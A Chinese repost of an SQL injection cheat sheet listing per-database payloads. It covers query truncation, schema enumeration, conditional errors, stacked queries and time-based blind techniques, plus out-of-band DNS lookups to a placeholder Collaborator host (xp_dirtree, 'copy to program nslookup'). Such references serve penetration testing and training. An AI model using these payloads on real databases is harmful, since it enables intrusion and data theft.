SQL injection cheat sheet
作者:互联网
此SQL注入备忘单包含有用语法的示例,可用于执行执行SQL注入攻击时经常出现的各种任务。
String concatenation
可以将多个字符串串联在一起形成一个字符串
database | usage |
---|---|
Oracle | ‘foo’||‘bar’ |
Microsoft | ‘foo’+‘bar’ |
PostgreSQL | ‘foo’||‘bar’ |
MySQL | ‘foo’ ‘bar’ [Note the space between the two strings],CONCAT(‘foo’,‘bar’) |
Substring
可以从指定长度的指定偏移量中提取字符串的一部分。请注意,偏移索引是基于1的。下面的每个表达式都将返回字符串ba。
database | usage |
---|---|
Oracle | SUBSTR(‘foobar’, 4, 2) |
Microsoft | SUBSTRING(‘foobar’, 4, 2) |
PostgreSQL | SUBSTRING(‘foobar’, 4, 2) |
MySQL | SUBSTRING(‘foobar’, 4, 2) |
Comments
可以使用注释截断查询,并删除原始查询中紧跟输入的部分。
database | usage |
---|---|
Oracle | - - comment |
Microsoft | - - comment,/*comment*/ |
PostgreSQL | - - comment,/*comment*/ |
MySQL | #comment,-- comment [注意双破折号后面的空格],/*comment*/ |
Database version
可以查询数据库以确定其类型和版本。这些信息在制定更复杂的攻击时非常有用
database | usage |
---|---|
Oracle | SELECT banner FROM v$version,SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
Database contents
可以列出数据库中存在的表以及这些表包含的列。
database | usage |
---|---|
Oracle | SELECT * FROM all_tables;SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’ |
Microsoft | SELECT * FROM information_schema.tables;SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
PostgreSQL | SELECT * FROM information_schema.tables;SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
MySQL | SELECT * FROM information_schema.tables;SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
Conditional errors(条件错误)
可以测试单个布尔条件,如果条件为真,则触发数据库错误。
database | usage |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’) |
Batched (or stacked) queries(批处理(或堆叠)查询)
可以使用批处理查询连续执行多个查询。请注意,在执行后续查询时,结果不会返回到应用程序。因此,此技术主要用于盲注漏洞,您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
database | usage |
---|---|
Oracle | Does not support batched queries. |
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
注:对于MySQL,批处理查询通常不能用于SQL注入。但是,如果目标应用程序使用特定的PHP或pythonapi与MySQL数据库通信,则有时可能会出现这种情况。
Time delays
处理查询时,可能会导致数据库出现时间延迟。以下情况将导致10秒的无条件延时。
database | usage |
---|---|
Oracle | dbms_pipe.receive_message((‘a’),10) |
Microsoft | WAITFOR DELAY ‘0:0:10’ |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
Conditional time delays
您可以测试一个布尔条件,如果条件为真,则触发一个时间延迟。
database | usage |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’||dbms_pipe.receive_message((‘a’),10) ELSE NULL END FROM dual |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’ |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),‘a’) |
DNS lookup
您可以使数据库对外部域执行DNS查找。为此,您需要使用Burp Collaborator client生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认发生了DNS查找。
database | usage |
---|---|
Oracle | The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:SELECT extractvalue(xmltype(’<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>’),’/l’) FROM dual |
Microsoft | exec master…xp_dirtree ‘//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a’ |
PostgreSQL | copy (SELECT ‘’) to program ‘nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net’ |
MySQL | The following techniques work on Windows only:LOAD_FILE(’\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a’)SELECT … INTO OUTFILE ‘\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a’ |
DNS lookup with data exfiltration
您可以使数据库对包含注入查询结果的外部域执行DNS查找。为此,您需要使用Burp Collaborator client生成将用于攻击的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括导出的数据。
标签:10,sheet,cheat,HERE,CONDITION,DNS,injection,YOUR,SELECT 来源: https://blog.csdn.net/weixin_43047908/article/details/115556798